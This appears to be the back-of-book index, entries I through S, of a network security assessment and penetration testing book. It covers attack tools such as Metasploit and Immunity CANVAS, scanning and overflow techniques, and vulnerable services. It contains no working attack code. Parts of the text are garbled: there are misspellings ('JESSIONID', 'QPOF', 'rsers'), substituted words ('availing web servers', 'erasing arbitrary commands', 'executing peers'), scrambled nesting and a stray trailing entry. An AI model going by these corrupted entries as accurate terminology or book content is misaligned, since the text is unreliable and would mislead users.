IKE (Internet Key Exchange), 307, 308–310
ike-scan tool
endpoint fingerprinting, 312
negotiation slot resource exhaustion, 317
PSK cracking, 319, 320
testing IPsec servers, 311
transform enumeration, 315
ILMI community string, 93
IMAP services
common email port, 290
countermeasures, 306
THC Hydra tool, 204
vulnerabilities, 304–305
imap_mail_compose() function, 137
Immunity CANVAS framework
Apache vulnerabilities, 147, 150
architecture and features, 409–410
ASP vulnerabilities, 141
BIND exploit scripts, 82
Citrix exploit scripts, 232
documentation, 414
Immunity CANVAS framework (continued)
exploit modules, 434–439
FrontPage vulnerabilities, 144
FTP service vulnerabilities, 209, 211
functionality, 411–414
IIS vulnerabilities, 139
IMAP issues, 305
ISAPI vulnerabilities, 142
LDAP exploit scripts, 98
Microsoft exploit scripts, 83
Microsoft SQL Server and, 243
MySQL exploit scripts, 254
NTLM authentication, 294
OpenSSL vulnerabilities, 152
overview, 15, 408–409, 414
OWA vulnerabilities, 145
QPOP issues, 303
RFC vulnerabilities, 265–266, 332–334
r-services exploit scripts, 224
Samba vulnerabilities, 288
Sendmail exploit scripts, 298
SMTP vulnerabilities, 299
SNMP exploit scripts, 95
SSH vulnerabilities, 215
SSL exploits, 328
Telnet vulnerabilities, 220
TNS service, 248
VNC exploit scripts, 237
WebDAV vulnerabilities, 142
X Windows exploit scripts, 228
Immunity Inc., 15
impersonation attacks, 176
Independent Computing Architecture (ICA), 229
Index Server (IIS), 123
inetd tool, 332
info command, 397
information leaks
Apache HTTP Server and, 146
ASP vulnerabilities, 141
fingerd service and, 87
FrontPage vulnerabilities, 143
IIS vulnerabilities, 139, 140
ISAPI extensions and, 142
OWA vulnerabilities, 9, 145
PHP vulnerabilities, 137
remote maintenance services and, 198
Sendmail vulnerabilities, 295–297
SSL vulnerabilities, 328
TNS vulnerabilities, 245–247
Informix database services, 239
INFOSEC Assessment Methodology (IAM), xvi, xvii
init_sym() function, 253
input validation, 341
INSERT command (SQL), 190
instruction pointer (see eip)
instruction pointer overwrite, 342, 347, 347–352
integer overflows
memory manipulation attacks and, 342
overview, 364–367, 374
Internet Database Connector (IDC), 123
Internet host and network enumeration automating, 37
BGP querying, 17, 19, 28, 29, 40
countermeasures, 40, 41
DNS querying, 5, 13, 17, 30–37, 40
querying search engines, 5, 18–20
querying WHOIS databases, 5, 13, 17, 20–28, 40
reconnaissance process, 17
SMTP probing, 17, 38, 39, 40
web server crawling, 17, 37, 40
Internet Information Server (see IIS)
Internet Key Exchange (IKE), 307, 308–310
Internet Message Access Protocol (see IMAP services)
Internet Printing Protocol (IPP), 123
Internet Protocol version 4 (IPv4), 2
Internet Protocol version 6 (IPv6), 2
Internet Security Association and Key Management Protocol (ISAKMP), 308–310
Internet Security Systems, 376
Internet Server Application Programming Interface (ISAPI)
vulnerabilities, 142
web server support, 122–123
InterScan VirusWall, 302, 306
Intrusion Detection Systems (IDSs), 51, 376
Intrusion Prevention Systems (IPSs), 376
inverse TCP flag scanning, 49, 53–54, 70
inverted technique, 53
IP addresses
internal, 47, 48, 103
NetBIOS datagram service and, 275
r-services support, 222
IP fingerprinting, 75
IP ID header scanning, 49, 58–60, 76
IP masquerading, 47
IPP (Internet Printing Protocol), 123
IPsec
  attacking VPNs, 311–320
  countermeasures, 329
  endpoint enumeration, 311, 312
  endpoint fingerprinting, 312–315
  PPTP and, 321
  SA support, 308
  transform enumeration, 315, 316
  VPN services, 307–310
  vulnerabilities, 316–318
IPSs (Intrusion Prevention Systems), 376
Ipswitch IMAIL IMAP, 305
IPv4 (Internet Protocol version 4), 2
IPv6 (Internet Protocol version 6), 2
IRC service, 88
IRIX services, 332, 334
ISAKMP (Internet Security Association and
  Key Management Protocol), 308–310
ISAPI (Internet Server Application Programming Interface)
  countermeasures, 158
  vulnerabilities, 142
  web server support, 122–123
ISECOM, xix
ispc.exe tool, 140
ISS BlackICE personal firewall, 47
ISS Internet Scanner, 14
ISS X-Force
  investigating vulnerabilities, 6
  Microsoft Exchange issues, 303
  Oracle exploit scripts, 250
  SSH vulnerabilities, 214
  TNS listener service, 247
J
J2EE, 181
Java Servlet Pages (see JSP)
JavaScript, 194–196
jident package, 89
John the Ripper tool, 126, 144, 284
JROUTE variable, 168
JSESSIONID variable, 168–169
JSP (Java Servlet Pages)
  Apache Tomcat support, 146, 150, 152
  file extension, 167
  session ID variable, 168
  JSP extension, 167
K
Kamp, Poul-Henning, 345
Karlsson, Patrik, 242
Kerberos services
  GSSAPI authentication mechanism, 293
  IPsec filter and, 70
  Microsoft DNS service, 82
  web servers and, 128
  key exchange, 307
  keystrokes, capturing, 226, 227
  Kingsley, Chris, 345
  Klein, Amit, 172, 178, 180
  Krahmer, Sebastian, 214
L
LACNIC (Latin American and Caribbean Network Information Centre), 24
Last Stage of Delirium (LSD), 332–334
last-in, first-out (LIFO) order, 350
Latin American and Caribbean Network Information Centre (LACNIC), 24
LDAP injection, 191–193
LDAP service
  anonymous access, 96
  brute-force attacks, 96
  countermeasures, 100
  Global Catalog service, 97
  Microsoft vulnerabilities, 82
  overview, 79, 95–98
  process vulnerabilities, 97–98
  THC Hydra support, 204
  web application attack strategies, 175
ldapsearch utility, 96, 97
ldp.exe utility, 96, 97
Lea, Doug, 357
LeBlanc, David, 376
LHOST variable, 399
libbind overflow, 81
libdnet library, 68
libpcap library, 12, 68
libresolv overflow, 81
libxmlrpc library, 137
License and Logging Service (LLSRV), 264
License and Logging Service (LLSSRV), 266
LIFO (last-in, first-out) order, 350
Lightweight Directory Access Protocol service
  (see LDAP service)
Linux platform
  assessment tools, 12
  auth service vulnerabilities, 89
  ELF support, 362
Linux platform (continued)
- fingerd service, 87, 88
- FTP bounce scanning, 56
- FTP service banners, 201
- httprint tool, 107
- MySQL support, 252
- Nessus support, 378
- off-by-one attacks, 356
- OpenSSH support, 213
- OpenSSL vulnerabilities, 153
- Samba suite, 287
- Sendmail support, 295
- SMB-AT support, 285
- Telnet support, 216, 217
- LIST command, 57, 303, 304
- listener enumeration attacks, 245–247
- Litchfield, David, 139, 251
- little-endian byte ordering, 356, 362
- LLSRV (License and Logging Service), 264
- LLSSRV (License and Logging Service), 266
- Local Administrator rights (Windows), 378
- Local Procedure Calls (LPCs), 243
- Local Security Authority (LSA), 270, 277
- Local Security Authority Subsystem Service (LSASS), 266, 294
- local variables, 344, 345
- LOCK method (HTTP), 117
- lockdown tool, 138, 158
- logical program flow
  - buffer overflow, 346
  - heap overflows, 357, 357–362
  - memory manipulation attacks, 342
  - runtime memory organization, 342, 344
  - stack overflows, 347, 349
- LOGIN authentication mechanism, 293
- login service (Unix), 220
- long UTF-8 decimal encoding, 178
- lookupnames command (rpcclient), 268
- lookupips command (rpcclient), 269
- Loose Source and Route Record (LSRR), 67
- Lopatic, Thomas, 70, 206, 207
- Lotus Domino (see IBM Lotus Domino)
- LPCs (Local Procedure Calls), 243
- LPORT variable, 399
- LSA (Local Security Authority), 270, 277
- lsaddacctrights command (rpcclient), 269
- lsaremoveacctrights command (rpcclient), 269
- LSARPC interface, 266–270
- LSASS (Local Security Authority Subsystem Service), 266, 294
- LSD (Last Stage of Delirium), 332–334
- LSRR (Loose Source and Route Record), 67
- LSRTunnel tool, 68
- Mac OS X platform
  - assessment tools, 12
  - FTP service banners, 201
  - httprint tool, 107
  - Nessus support, 378, 379, 380
  - reconnaissance tools, 13
  - MacDermid, Todd, 68
  - Mail Exchanger (MX) resource records, 30, 31
  - MAIL FROM: command, 296
  - mailbrute utility, 298
  - Maimon, Uriel, 54
  - main mode (IKE), 308, 309
  - maintainer objects, 28
  - malloc() function, 344, 357
  - Management Information Base (MIB), 91
  - man-in-the-middle attacks (see MITM attacks)
  - map_uri_to_worker() function, 149, 151
  - Marchand, Jean-Baptiste, 265, 270
  - MasterCard SDP program, xviii
  - Matta Colossus, 14
  - Maximum Transmission Unit (MTU), 207, 208
  - McDonald, John, 207
  - McGraw, Gary, 376
  - MD5 algorithm, 118, 182, 293, 315
  - MDAC (Microsoft Data Access Components), 243
  - MDaemon IMAP, 305
  - memcpy() function, 366
  - memory manipulation attacks
    - categories of, 342
    - overview, 373, 374
    - overwriting any word in memory, 371–372
    - processor registers and memory, 345
    - runtime memory organization, 342–345
  - memory_limit() function, 138
  - Message Queuing (MQ), 264
  - Message Queuing (MSMQ), 266
  - MessageLabs email filtering, 35
  - MetaCoretex vulnerability scanner, 241, 250, 252
Metasploit Framework (see MSF)
Meterpreter payload (MSF), 394, 396
MIB (Management Information Base), 91
Microsoft .NET Framework, 181
Microsoft Data Access Components (MDAC), 243
Microsoft Exchange
  countermeasures, 305
  OWA and, 127, 145
  POP3 support, 302, 303
  RPC over HTTP support, 127
  RPC services and, 257, 259
  SMTP services and, 291–295, 299–300
  WebDAV extensions, 124
Microsoft Messenger Service, 257, 259, 289
Microsoft Outlook, 257, 300, 301
Microsoft PPTP, 320, 321
Microsoft RPC service (see RPC services)
Microsoft SQL Server
  brute-force utilities, 242
  countermeasures, 235
  enumeration, 240–242
  interacting with, 240
  network ports, 239
  overview, 239
  SQL injections and, 186–190
  technology assessment, 170
  versions listed, 241
  vulnerabilities, 242–244
Microsoft Task Scheduler
  countermeasures, 289
  executing commands, 282
  RPC support, 257, 262
Microsoft Terminal Services (see RDP)
Microsoft Virtual PC, 11
Microsoft Windows platforms
  account/password combinations, 281
  assessing FTP permissions, 202
  assessment tools, 12
  CIFS service, 285
  countermeasures, 158
  DNS service vulnerabilities, 82–83
  filter circumvention, 68
  FTP service banners, 201
  httprint tool, 107
  Nessus support, 378, 379, 380
  reconnaissance tools, 13
  security flaws, 340
  SNMP vulnerabilities, 94
  stack overflows, 346
  Telnet support, 216
  web server support, 120–129
  (see also Windows networking services)
Miller, Matt, 393
milw0rm exploit
  Apache modules, 147, 150
  investigating vulnerabilities, 6
  Oracle vulnerabilities, 250, 251
  Samba vulnerabilities, 288
MIME headers, 300, 301
MIMEDefang product, 302
mitigation strategies, 374–376
MITM (man-in-the-middle) attacks
  attacking IPsec VPNs, 311
  Basic authentication and, 118
  Microsoft SQL Server and, 243
  RDP vulnerabilities, 234
  VNC vulnerabilities, 237
MITRE Corporation CVE
  Apache vulnerabilities, 146–147, 151–152
  ASP.NET vulnerabilities, 141
  auth service vulnerabilities, 89
  BIND vulnerabilities, 81
  Citrix vulnerabilities, 232
  CORE IMPACT exploit modules, 428–434
  fingerd service vulnerabilities, 88
  FrontPage vulnerabilities, 144
  FTP service vulnerabilities, 209–212
  IIS vulnerabilities, 139–140, 179
  IMAP services, 304, 305
  Immunity CANVAS modules, 434–439
  IPsec vulnerabilities, 317
  IPsec weaknesses, 316–318
  ISAPI vulnerabilities, 142
  LDAP vulnerabilities, 97
  MAILsweeper issues, 300, 302
  Microsoft DNS service vulnerabilities, 82
  Microsoft SQL Server issues, 242–244
  Microsoft WINS service vulnerabilities, 83
  MSF exploit modules, 422–428
  MySQL vulnerabilities, 253–254
  NetBIOS name service, 275
  NTLM authentication, 294
  NTP vulnerabilities, 90
  OpenSSL vulnerabilities, 152–155
  Oracle vulnerabilities, 250–251
  Oracle XDB services, 251
  OWA vulnerabilities, 145
  PHP vulnerabilities, 137
  POP3 vulnerabilities, 303
  PROPFIND vulnerabilities, 136
  RDP vulnerabilities, 234
  RPC vulnerabilities, 263–266, 332–338
MITRE Corporation CVE (continued)

r-services vulnerabilities, 223
Samba vulnerabilities, 287, 288
Sendmail vulnerabilities, 298
SMTP vulnerabilities, 299–300
SNMP vulnerabilities, 95
source routing vulnerability, 68
SSH vulnerabilities, 214–215
SSL vulnerabilities, 328, 329
Telnet vulnerabilities, 219, 220
VNC vulnerabilities, 237

web site, 6, 14

WebDAV vulnerabilities, 142
X Window vulnerabilities, 228

MKCOL method (HTTP), 117, 142
mod_access plug-in, 150
mod_alias plug-in, 150
mod_digest plug-in, 150
mod_digest_apple plug-in, 149
mod_frontpage plug-in, 150
mod_gzip plug-in, 150
mod_imap plug-in, 149
mod_jk plug-in
  Apache vulnerabilities, 149, 151
countermeasures, 196
JESSIONID fingerprinting, 168
mod_perl plug-in, 158
mod_proxy plug-in, 149, 151
mod_rewrite plug-in
  Apache vulnerabilities, 149, 150, 151
mod_ssl plug-in, 149, 150
mod_tcl plug-in, 149
mod_usertrack plug-in, 150
mode config (IKE), 308
Moore, H D, 135, 141, 336, 393
MOSDEF nodes, 409, 410
mount client software, 331
mount command, 334
mountd service, 334
MOVE method (HTTP), 117
MQ (Message Queueing), 264
MSF (Metasploit Framework)
  Apache vulnerabilities, 147, 150
  architecture and features, 394–396
  ASP vulnerabilities, 141
  BIND exploit scripts, 82
cost of, 15
documentation, 400
exploit modules, 422–428
FrontPage vulnerabilities, 144
FTP service vulnerabilities, 209, 211
functionality, 396–400
IIS vulnerabilities, 139
IMAP issues, 305
ISAPI vulnerabilities, 142
LDAP exploit scripts, 98
Microsoft exploit scripts, 83
Microsoft SQL Server and, 243
MySQL exploit scripts, 254
NTLM authentication, 294
Oracle XDB services, 251
overview, 15, 393, 414
OWA vulnerabilities, 145
PHP vulnerabilities, 138
QPOF issues, 303
RPC issues, 265–266, 332–334, 336
r-services exploit scripts, 224
Samba vulnerabilities, 288
Sendmail exploit scripts, 298
SMTP exploit scripts, 299
SNMP exploit scripts, 95
SSH vulnerabilities, 215
SSL exploits, 328
Telnet vulnerabilities, 220
VNC exploit scripts, 237
WebDAV vulnerabilities, 142
X Windows exploit scripts, 228
msfconsole command, 395
msfweb command, 395
msg_receive() function, 137
MSMQ (Message Queueing), 266
ms-sql exploit, 243
MTU (Maximum Transmission Unit), 207, 208
Mullen, Tim, 233
multiple attacking hosts, emulating, 65
MX (Mail Exchanger) resource records, 30, 31
MySQL database services
  brute-force attacks, 252
countermeasures, 255
enumeration, 252
network ports, 239
overview, 252
process manipulation attacks, 253–254
mysql_real_connect() function, 253
N

Name Server (NS) resource records, 30
named account, 242
named pipes
  Microsoft SQL Server and, 240, 242, 243
  RPC support, 265, 266, 267, 269
  SMB null sessions and, 270
NANOG, 29
NASDAQ, 1
NASL (Nessus Attack Scripting Language), 377
NAT (Network Address Translation), 47, 73, 378
National Security Agency (NSA), xvi
National Vulnerability Database (NVD), 6, 7
NBT (NetBIOS Name Table), 273, 274
nbtstat command, 274
NcFTPd service, 201
Negotiate authentication, 128, 143
negotiation slots exhaustion attack, 317
Nessus Attack Scripting Language (NASL), 377
Nessus Security Scanner
  architecture overview, 377, 378
  configuring, 383–389
  deployment options, 378, 379
  executing, 389
  functionality, 13, 377
  installing, 379–383
  operating systems supported, 12, 14
  reporting support, 390
NessusClient client, 378, 383, 385–389
NessusWX client, 378, 383, 385
net command, 281
net users command, 189
NetBIOS Name Table (NBT), 273, 274
NetBIOS services
  anonymous access via, 276, 277
  brute-force attacks, 281, 286
  CIFS support, 285
countermeasures, 288, 289
datagram service, 275
name service, 273–274
remote maintenance support, 199
session service, 233, 266, 276–284
SMB support, 256, 285
NetBSD platform, 200, 217
Netcat tool
  FTP services, 207, 208
  Microsoft SQL Server and, 244
  RPC services, 332
  SSH fingerprinting, 213
Netcraft web site, 20, 37
NetScreen, 78
Net-SNMP package, 92
Network Address Translation (NAT), 47, 73, 378
Network File System (see NFS)
  network reconnaissance
    assessment methodology, 4, 5
    assessment tools, 10, 13
    process overview, 17
  network scanning
    assessment tools, 10, 13–14
    commercial tools, 14
    countermeasures, 77
    filter circumvention, 62–70, 77
    ICMP probing, 42–48, 77
    IDS evasion, 62–70, 77
    low-level IP assessment, 71–76
    purpose, 4, 5
    TCP port scanning, 49–60, 77
    UDP port scanning, 60–62, 70, 77
  network security assessment
    business benefits, 1–2
    classifying attackers, 2, 3
    cyclic assessment approach, 8–9
    definitions, 3, 4
    methodology, 4–7
Network Time Protocol (NTP), 89–90, 100
NetXeyes hacking group, 270
NFS (Network File System)
  CESG CHECK assault course, xviii
  countermeasures, 339
  RPC vulnerabilities, 334, 335
nfsd service, 331
NGSSquirreL tool, 249
Nikto utility
  administrative scripts, 120
  authentication support, 119, 129
  HTTP authentication and, 157
  identifying components, 131–132
  operating systems supported, 12
  PHP vulnerabilities, 138
  web site, 16
  Wikto tool and, 156
NIST National Vulnerability Database, 6, 7
nlockmgr service, 331
Nmap utility
  ACK flag probe scanning, 55
  defining decoy hosts, 65
  FTP bounce scanning, 57, 204
  functionality, 13
Nmap utility (continued)
  half-open SYN scanning, 52
  ICMP probing, 44
  inverse TCP flag scanning, 54
  IP fingerprinting, 75
  IP ID header scanning, 59, 76
  low-level IP assessment, 71, 72
  operating systems supported, 12, 13
  packet fragmentation and, 63, 65
  RPC support, 331
  SSL VPNs, 321
  UDP port scanning, 62
  NOP (no-operation) instructions, 351
  NOP sled, 351
  Nortel Networks, 328
  NOTIFY extension, 124
  NS (Name Server) resource records, 30
  NSA (National Security Agency), xvi
  NSF extension, 167
nslookup utility
  DNS querying, 30, 31
  DNS zone transfers, 32
  platform support, 13
  reverse DNS querying, 84
  version.bind requests, 81
nslookupcomplain() function, 81
N-Stalker tool
  administrative scripts, 120
  authentication support, 119, 129
  identifying components, 131
  PHP vulnerabilities, 138
  NT LAN Manager (see NTLM)
  NTA Monitor, 311
  NTLM (NT LAN Manager) countermeasures, 289
  FrontPage support, 143
  IIS web server support, 128, 129, 139
  Microsoft SQL Server and, 243
  SMTP authentication, 293, 294
  NTP (Network Time Protocol), 89–90, 100
  ntpdc tool, 90
  ntpq tool, 90
NULL character
  heap overflows, 360
  stack overflows, 348, 349, 353
NULL probes, 53, 54
null sessions, 276, 277
NULL-MD5 cipher, 325, 327
NVD (National Vulnerability Database), 6, 7
NXDOMAIN overflow, 81
NXT record overflow, 81

0
  OAT (Oracle Auditing Tools), 250
  Object Identifier (OID), 91, 93, 94
  ODBC, 187
  off-by-five attacks, 362
  off-by-one attacks, 362, 375
    (see also stack off-by-one attack)
  OID (Object Identifier), 91, 93, 94
  one-time password (OTP) authentication, 293
  onsite auditing, 4
  Open Source Security Testing Methodology Manual (OSSTMM), xix
  Open Source Web Application Security Project (OWASP), xix
  OpenBSD platform
    attacks on, 1
      background, 212
    FTP service banners, 201
    Sendmail support, 295
    stack overflows, 346
    Telnet support, 217
  OpenDataSource() function, 243
  OpenSSH package, 213
  OpenSSL
    enumerating ciphers, 324
    s_client program, 322
    vulnerabilities, 81, 152–155, 328
  openssl ciphers command, 324
  openssl-scanner utility, 154
  openSUSE distribution, 12
  operating systems
    assessment tools, 10, 11–13
    command injection, 184–186, 192, 193
    fingerprinting, 48, 75
    heap management, 344
    Nessus support, 378
    off-by-one attacks, 356
      (see also specific platforms)
  Ophcrack toolkit, 284
  opportunistic attacks, 2, 3
  OPTIONS request (HTTP)
    Apache subsystems and, 129
    overview, 104–106, 116
    PHP support, 118
    reverse proxy mechanisms, 109
  Oracle Auditing Tools (OAT), 250
  Oracle database services
    authentication and, 249–251
    brute-force attacks and, 249–251
    countermeasures, 235
    default account passwords, 249
network ports, 239  
SNMP vulnerabilities, 94  
TNS vulnerabilities, 244–248  
 vulnerabilities, 250–251  
XDB services, 251  
O’Reilly Media, 330  
Osborne, Anthony, 275  
OSSTMM (Open Source Security Testing Methodology Manual), xix  
OTP (one-time password) authentication, 293  
OWA (Outlook Web Access), 127, 145, 158  
OWASP (Open Source Web Application Security Project), xix  

P  
packet fragmentation  
fragroute utility, 64–65  
fragtest utility, 63  
half-open SYN flag scanning, 51  
IDS evasion and, 62  
network scanning countermeasures, 78  
Nmap utility and, 63, 65  
Packet Storm web site  
BIND exploit scripts, 82  
Citrix service, 231, 232  
investigating vulnerabilities, 6  
Microsoft DNS exploit scripts, 83  
Microsoft WINS exploit scripts, 83  
MySQL vulnerabilities, 252  
POP3 brute-force tools, 302  
pscan.c scanner, 50  
Sendmail exploit scripts, 298  
SMTP exploit scripts, 299  
SSH vulnerabilities, 214  
VNC exploit scripts, 237  
word lists, 219  
X Windows exploit scripts, 228  
Paketto Keiretsu suite, 52  
PAM authentication, 220  
Parallels, 11  
parameters, web applications, 184–196  
Paros tool  
attack proxy, 171  
session ID injection, 181  
web application profiling, 161  
web application testing, 16  
passprop.exe tool, 289  
passwords  
authentication vulnerabilities, 181, 191  
Cain & Abel tool, 275  
common Windows combinations, 281  
countermeasures, 288, 305, 329  
default device, 219  
default for Oracle accounts, 249  
IPCS access, 276  
NetBIOS session service and, 281  
PAM authentication, 220  
Phenoelit DPL, 249  
SAM database and, 284  
(see also brute-force grinding attacks)  
PASV command, 78, 207, 210  
PATH environment variable, 220  
PCI (Payment Card Industry) standard, xviii  
penetration testing  
CORE IMPACT and, 402  
defined, 4  
FTP services, 216  
identifying virtual hosts, 113–114  
management categories, xii  
permissions  
availing for FTP services, 201–203  
command shells and, 352  
Nessus requirements, 378  
PGP COVERT Labs, 275  
PGPnet client, 320  
Phenoelit web site, 219, 235, 249  
PHoss network sniffing utility, 235, 236  
PHP  
availing web servers, 117–119  
countermeasures, 158, 196  
file extensions, 167  
session ID variable, 168, 181  
vulnerabilities, 137–138  
PHP extension, 167  
php_mime_split() function, 137, 138  
PHP3 extension, 167  
PHP4 extension, 167  
PHP5 extension, 167  
PHPSESSID variable, 168  
PHTM extension, 167  
ping command  
ICMP support, 42  
Nessus support, 386, 392  
SING utility and, 43  
TNS listener service and, 245, 246  
xp_cmdshell support, 188  
ping packets, 42, 43, 63  
PL extension, 167  
PLAIN authentication mechanism, 293  
Playboy Enterprises, 1, 330  
Pliam, John, 320  
Plink utility, 213
PM extension, 167
pmap_set tool, 332
Pointer (PTR) resource records, 30, 34–35, 41
Point-to-Point Tunneling Protocol (PPTP), 320, 321
POLL extension, 124
POP2 service, 290, 302–303
POP3 service
common email port, 290
countermeasures, 305
THC Hydra support, 204
vulnerabilities, 302–303
PORT command, 56–57, 78, 199, 206
port scanning (see TCP port scanning; UDP port scanning)
portmapper service, 330–332
portsentry security mechanism, 51
POST method (HTTP)
Apache HTTP Server and, 146, 149
description, 110, 115
HTTP request smuggling, 179, 180
reverse proxy mechanisms, 107, 109
web application attack strategies, 176
Post Office Protocol (see POP2 service; POP3 service)
Postfix package, 291
PostgreSQL database services, 239
ppscan.c tool, 58
PPTP (Point-to-Point Tunneling Protocol), 320, 321
PPTP-sniff sniffer, 321
prescan() function, 295, 298
PREV_INUSE flag, 358–360, 362
primary name servers, 32
PRINTER extension, 123, 142
printf() function, 367–371, 374
private community string, 92
privilege escalation
IIS vulnerabilities, 139, 140
ISAPI extensions and, 142
Microsoft SQL Server and, 243
MySQL vulnerabilities, 253
process manipulation attacks
FTP service, 199, 208–212
IMAP services, 304, 305
Microsoft SQL Server, 242–244
mitigation strategies, 374–376
MySQL and, 253–254
POP3 and, 303
remote maintenance services and, 198
RPC services, 265–266
Sendmail vulnerabilities, 295, 298
TNS service, 248
(see also buffer overflow)
ProFTPD service, 201, 211
PROPFIND method (HTTP)
countermeasures, 159
description, 116
vulnerabilities, 136, 142
PROPPATCH method (HTTP), 116
PROTOS test suite, 98, 317
Provos, Niels, 376
proxy scanning, 49, 58, 103
proxy servers
FTP service vulnerabilities, 199
network scanning countermeasures, 78
reverse mechanisms, 78, 107–113
Proxy-Authorization: field, 172
pscan.c scanner, 50
PSCP utility, 213
PsExec tool, 282
PSFTP utility, 213
PSK authentication
countermeasures, 329
defined, 308
IKE aggressive mode, 318–320
transform enumeration, 315
PsTools package (Sysinternals), 282
PTR (Pointer) resource records, 30, 34–35, 41
public community string, 92, 93
Pure-FTPd service, 201
PUSH TCP flag, 53
PUT method (HTTP)
countermeasures, 159
description, 116
vulnerabilities, 134, 135
PuTTY tool, 213, 214
PWD files, 144
pwdump3 utility, 284
pxytest utility, 112, 113
Q
qmail package, 305
qpopper service, 302, 303
Qualcomm QPOP, 302, 303
QualysGuard, 14
querydominfo command (rpcclient), 268
querygroup command (rpcclient), 268
queryuser command (rpcclient), 268
quoise tool, 75
quick mode (IKE), 308
rainbow table cracking, 284
RainbowCrack toolkit, 284
Range: field, 172
RASMAN (Remote Access Service Manager), 264, 265
RC4-MD5 cipher, 325, 327
RCPT TO: command (Sendmail), 39, 295–297
RDP (Remote Desktop Protocol), 232–234, 238
read community string, 92
readFontAlias() function, 228
realpath() function, 210
recalls_header() function, 146
Referer: field, 149, 172
reg.exe tool, 282, 283
regdmp.exe tool, 282
regini.exe tool, 282, 283
Regional Internet Registries (RIRs), 23, 28
registry keys
   accessing, 282, 283
   dumping, 189, 242
   modifying, 281, 282, 283
   removing, 283
   RestrictAnonymous setting, 280
reload command, 246
Remote Access Service Manager (RASMAN), 264, 265
Remote Desktop Protocol (see RDP)
remote information services
   auth service, 88
   countermeasures, 99, 100
   DNS service, 80–86
   Finger service, 86–88
   LDAP service, 79, 82, 95–98
   NTP services, 89–90, 100
   overview, 79, 80
   RPC services, 80, 98
   rusers service, 98, 99
   rwhod service, 98
   SNMP services, 91–95
remote maintenance services
   categories of attacks, 198
   Citrix support, 229–232
   countermeasures, 237, 238
   FTP support, 199–212
   RDP support, 232–234
   r-services support, 220–224
   SSH support, 212–215
   Telnet services, 215–220
   VNC support, 234–237
   X Windows support, 224–228
Remote Procedure Call services (see RPC services)
Remoexec utility, 273
reply_nttrans() function, 288
Réseaux IP Européens (RIPE), 24, 28
RestrictAnonymous registry setting, 280, 285, 289
RETR command, 211, 303
return address (see instruction pointer), 351
return-into-libc attack, 375
reverse DNS sweeping, 36, 37, 84
reverse proxy mechanisms, 78, 107–113
reverse-lookup technique, 280
rexe client, 221
RFC 791 standard, 67
RFC 792 standard, 419
RFC 793 standard, 53, 54
RFC 950 standard, 419
RFC 959 standard, 56, 199
RFC 1002 standard, 275
RFC 1256 standard, 419
RFC 1323 standard, 71
RFC 1393 standard, 419
RFC 1413 standard, 89
RFC 1812 standard, 419
RFC 2002 standard, 419
RFC 2046 standard, 302
RFC 2052 standard, 82
RFC 2409 standard, 309, 315
RFC 2444 standard, 293
RFC 2518 standard, 116, 123
RFC 2616 standard, 151, 172
RFC 2617 standard, 118
RFC 2831 standard, 293
RFC 4559 standard, 128
RHOST variable, 399
hosts file extension, 221–223, 336
RID cycling
   CIFS services, 285, 286
   defined, 280
   NetBIOS services and, 276
RPC services and, 267, 269
RIPE (Réseaux IP Européens), 24, 28
RIRs (Regional Internet Registries), 23, 28
Ritter, Jordan, 277
rlogin client, 221, 222
rootdown.pl exploit script, 336
Rosenthal, Chip, 112
router community string, 92
Routin, David, 332
Routing and Remote Access Service (RRAS), 266
RPC (Remote Procedure Call) services assessing, 257
taking brute-force attacks, 270
CESG CHECK assault course, xviii
connecting without portmapper, 332
countermeasures, 288, 289, 339
enumerating, 330–332
erasing arbitrary commands, 257
executing peers, 273
identifying vulnerable interfaces, 263–266
identifying without portmapper, 331
LSARPC interface, 266–270
Microsoft SQL Server support, 240
overview, 80, 98, 99
SAMR interface, 266–270
vulnerabilities, 332–338
RPC over HTTP, 127, 184, 289
rpc.cmsd daemon, 337
rpc.statd service, 335
rpc.ttdbserverd daemon, 338
RPC_CONNECT method, 117, 127, 289
rpcbind tool, 330
rpcclient tool, 268–270
rpcdump utility, 260–262
rpcinfo utility, 12, 99, 330
RpcScan tool, 263
RPORT variable, 399
rquotad service, 331
RRAS (Routing and Remote Access Service), 266
RSA, 1, 238, 320
RSA signature authentication, 314, 315
r-services
accessing, 221–222
countermeasures, 238
overview, 220
vulnerabilities, 223
rsh client, 221, 222, 223
RSnake XSS cheat sheet, 178, 195
RST packets, 55
RST/ACK packets
half-open SYN flag scanning, 51
inverse TCP flag scanning, 53, 54
responses to probes, 71
rsers service, 98, 99
rsersd service, 331
rwhod service, 98
S
s_client program (OpenSSL), 322
SA (Security Association), 307, 308, 309
sa administrator account, 242
Sabin, Todd, 127, 260, 267
sadmind (Solstice AdminSuite Daemon), 335, 336
SafeNet client, 320
SAM (Security Account Manager) database accessing, 284
defined, 7
MSRPC interface, 265
OAT toolkit, 250
SMB null sessions, 270
SQLAT support, 242
wp_regread procedure, 189
Samba open source suite, 287, 288
SAMR interface, 266–270
SamSpade tool, 164
Sana Security, 376
save_config command, 247
SCADA (Supervisory Control And Data Acquisition), 379
Scanrand port scanner, 52, 53
scanudp utility, 62
Schiffman, Mike, 73, 82
Schneier, Bruce, 320
schtasks command, 282
SCM (Service Control Manager), 270
SCP (Secure Copy), 212
ScriptAlias directive, 146
scut (TESO), 356
SDP (Site Data Protection) program, xviii
search engines
vulnerabilities, 340
web and newsgroup, 5, 18–20, 40
SEARCH method
countermeasures, 159
IIS support, 123
proprietary nature of, 117
vulnerabilities, 136, 142
secondary name servers, 32
Secure Computing Safeword, 238
Secure Copy (SCP), 212
Secure FTP (SFTP), 212
Secure Shell services (see SSH services)
ssecurity
Nessus Security Scanner, 377–392
recommended reading, 376
running unusual architecture, 375
stack overflows, 346
vulnerability information, 420–421
Security Account Manager (see SAM database)
Security Association (SA), 307, 308, 309
Security Center product, 378
security management effectiveness, xiii
Security Focus web site, 6, 110, 214
segmentation fault, 349
SELECT command (SQL), 188, 189, 190
Send ICMP Nasty Garbage (SING) utility, 43
Sendmail
  automating user enumeration, 297
  command injection, 186
countermeasures, 305
SMTP services and, 291
telnet support, 218
vulnerabilities, 295–298
web application vulnerabilities, 185
SensePost, 13, 378
Server Message Block protocol (see SMB protocol)
Server: field, 106, 129, 137, 167
ServerMask plug-in, 107
server-side file extensions, 165
Server-side Includes (SSI), 123
server-side scripts, 171, 193–194
Service Control Manager (SCM), 270
services command, 247
session ID
  cookies and, 173
countermeasures, 196
  fingerprinting, 167–169
timeout mechanism, 184
vulnerabilities, 182–183
XSS attacks, 194
set PAYLOAD command, 399
Set-Cookie: field, 118, 167
SFTP (Secure FTP), 212
SGI IRIX platform, 201, 217
SHA1 algorithm, 182, 315
Shah, Saumil, 107
shell service (Unix), 220
shellcode, 349, 351, 352
show exploits command, 396
countermeasures, 306
